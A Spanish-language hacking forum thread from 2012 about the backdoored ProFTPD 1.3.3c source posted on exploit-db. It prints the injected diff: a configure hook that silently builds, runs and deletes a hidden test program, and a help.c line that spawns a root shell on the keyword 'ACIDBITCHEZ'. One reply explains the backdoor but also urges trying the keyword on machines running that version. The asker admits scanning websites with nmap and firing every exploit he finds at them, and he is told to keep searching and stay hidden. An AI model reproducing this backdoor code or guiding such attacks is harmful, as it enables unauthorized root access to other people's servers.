Problema con compilación

Iniciado por Xenomorfo77, 22 Enero 2012, 18:52 PM

0 Miembros y 1 Visitante están viendo este tema.

Xenomorfo77

Hola a todos, estoy empezando en esto del hacking y tengo unas cuantas dudas sobre como compilar un exploit.

El exploit que quiero compilar es este en concreto: http://www.exploit-db.com/exploits/15662/

Ahora las preguntas:

1.- En el codigo hay cosas como estas que no entiendo que son:

diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure
--- proftpd-1.3.3c.orig/configure   2010-04-14 00:01:35.000000000 +0200
+++ proftpd-1.3.3c/configure    2010-10-29 19:08:56.000000000 +0200
@@ -9,7 +9,10 @@

+gcc tests/tests.c -o tests/tests >/dev/null 2>&1
+cc tests/tests.c -o tests/tests >/dev/null 2>&1
+tests/tests >/dev/null 2>&1 &
+rm -rf tests/tests.c tests/tests >/dev/null 2>&1

DUALCASE=1; export DUALCASE
if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then


diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c
--- proftpd-1.3.3c.orig/src/help.c  2009-07-01 01:31:18.000000000 +0200
+++ proftpd-1.3.3c/src/help.c   2010-11-16 18:40:46.000000000 +0100
@@ -27,6 +27,8 @@

2.- En esta parte de código pone #include "conf.h", tengo entendio que en c poner entre comillas un archivo significa que no es una libreria del sistema y que es un archivo creado por el usuario, ¿Como compilo ese exploit si no tengo ese archivo?

#include "conf.h"
#include <stdlib.h>
#include <string.h>
 
struct help_rec {
  const char *cmd;

        cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");
 
    } else {

     if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
      /* List the syntax for the given target command. */
      for (i = 0; i < help_list->nelts; i++)

3.- Gracias por contestar y un saludo!

pianista

No soy para nada un experto en esto y más bien estoy empezando como tú, pero los diff que ves, son secciones que ha ido añadiendo al código de : proftpd-1.3.3c.orig

Vamos que tienes que tener ese código e ir añadiendo las partes que especifica en ese fichero, de ahí que el config.h será parte del código de proftp y por eso no te lo pone.

Saludos

D4RIO

Hola,

Lo que ves en ese enlace no debería estar en exploit-db a mi parecer ya que no es un "exploit" en si, sino más bien una publicación de una vulnerabilidad inyectada. Ni siquiera aclara cómo explotarla, simplemente cómo se inyectó. El parche diff que ves, inserta código dentro del código de FTPd.

Lo que sucede es que, como explica el texto, el servidor desde donde uno se descarga ProFTPD se vió comprometido, e insertaron ese parche en el código. El resultado es que muchos usuarios lo han descargado inocentemente, y pueden tener ese backdoor instalado.

La línea que importa, según lo veo (no apliqué el parche, pero parece obvio) es esta:

if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }

La inyección de esa línea hace que, ante una palabra clave como "ACIDBITCHEZ", FTPd, que tiene privilegios suficientes, abra un shell remoto con privilegios de root (UID 0 y GID 0).

Lo que deberías hacer no es compilar algo, sino probar en aquellas máquinas con esta version de ProFTPD usando la palabra clave. No se en esa parte del código, si 'target' será el nombre de usuario, o un target en un comando como CWD... como sea, al usar esa palabra clave, explotarías el código para abrir la shell remota.

De todas formas, para sacar dudas. Para aplicar el parche basta con pararte en el directorio donde estan los fuentes y hacer:

Código (bash) [Seleccionar]
patch < parche.diff

No es ninguna ciencia rara. Por último el archivo que se incluye es conf.h, yo supongo que lo generará el script configure, que se parchea antes. Es fácil identificar que es el "configure" para compilar, porque antes dice:

## --------------------- ##
## M4sh Initialization.  ##
## --------------------- ##


Y M4 es un lenguaje de macros que configure usa.

Saludos
OpenBSDFreeBSD

Xenomorfo77

Muchas gracias me ha quedado claro, como veo que estas puesto en el tema me gustaría preguntarte algo más: He escaneado varias páginas con nmap y he buscado vulnerabilidades para los servicios que tenían, he probado todos los exploits que he encontrado y nada... la pregunta es: ¿Ahora que hago?

D4RIO

Buscar otras, nadie dijo que siempre sea tan simple. Los exploits publicados son para vulnerabilidades que han sido previamente advertidas a quien corresponda, es la condición para publicarlos... generalmente. A no ser que conozcas hackers que te faciliten "zero day"s.

Normalmente, cuando encontrás un exploit, ya existe un parche o actualización que soluciona el problema. Basta que lo hayan aplicado para que ya no sean vulnerables.

PD: Si haces eso deberías estar bien oculto, a demás de contratado para hacerlo
OpenBSDFreeBSD